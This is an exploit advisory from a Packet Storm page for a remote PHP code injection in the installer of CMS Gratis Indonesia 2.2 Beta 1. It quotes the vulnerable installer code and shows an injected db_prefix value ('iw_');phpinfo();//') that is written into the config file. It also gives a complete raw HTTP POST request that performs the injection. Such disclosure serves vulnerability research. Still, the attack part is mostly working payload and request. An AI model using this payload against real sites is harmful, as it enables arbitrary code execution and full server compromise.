what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

CMS Gratis Indonesia PHP Code Injection

CMS Gratis Indonesia PHP Code Injection
Posted Jun 4, 2013
Authored by CWH Underground

CMS Gratis Indonesia version 2.2 Beta 1 suffers from a remote PHP code injection vulnerability.

tags | exploit, remote, php
SHA-256 | d5d9e10e13a2a21562a07f38c21d1f17883de814411cf199efd4e1cc59e891c6

CMS Gratis Indonesia PHP Code Injection

Change Mirror Download
# Exploit Title   : CMS Gratis Indonesia PHP Code Injection
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://cmsid.org/
# Software Link : http://jaist.dl.sourceforge.net/project/cmsid/source/2.2/cmsid-2.2-beta1.zip
# Version : 2.2 Beta 1
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/libs/installer/installer.php (LINE: 215-283)

-----------------------------------------------------------------------------
LINE 215-223:
<?php
if(isset($_POST['step_1'])
&& empty($_SESSION['hostname']))
{
$hostname = (string)$_POST['hostname'];
$mysql_user = (string)$_POST['mysql_user'];
$mysql_pass = (string)$_POST['mysql_pass'];
$mysql_db_name = (string)$_POST['mysql_db_name'];
$db_prefix = (string)$_POST['db_prefix'];
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 241-283:
/**
* making file _config.php
*/

$file_name = "_config.php";
if(!file_exists($file_name))
{
$file = "libs/installer/_config.php";
@copy($file,'../');
}
$fo = @fopen($file_name,"w+");
$s = fgets($fo,6);
$text = ("<?php
/**
* @fileName: config.php
* @setting ketentuan website
*
* isi sesuai dengan hak akses ke mysql server anda
*/

//not direct access
if(!defined('_iEXEC')) exit;


/*
*************** Basic Setting *************
*/

//nama host mysql db
define('DB_HOST', '$hostname');
//nama pengguna mysql db
define('DB_USER', '$mysql_user');
//kata sandi mysql db
define('DB_PASS', '$mysql_pass');
//nama database mysql
define('DB_NAME', '$mysql_db_name');
//nama awal table
define('DB_PRE', '$db_prefix');

?>");

rewind($fo);
fwrite($fo,$text);
-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS allow attacker to insert PHP code into config.php with "iw_');phpinfo();//"

/config.php
-----------------------------------------------------------------------------
<?php
if(!defined('_iEXEC')) exit;
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'usbw');
define('DB_NAME', 'cmsid');
define('DB_PRE', 'iw_');phpinfo();//');
?>
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################


POST /cmsid/?setup=yes HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/cmsid/?setup=yes
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
hostname=localhost&mysql_user=root&mysql_pass=toor&mysql_db_name=cmsid&db_prefix=iw_');phpinfo();//&step_1=Next+%C2%BB%C2%BB


################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close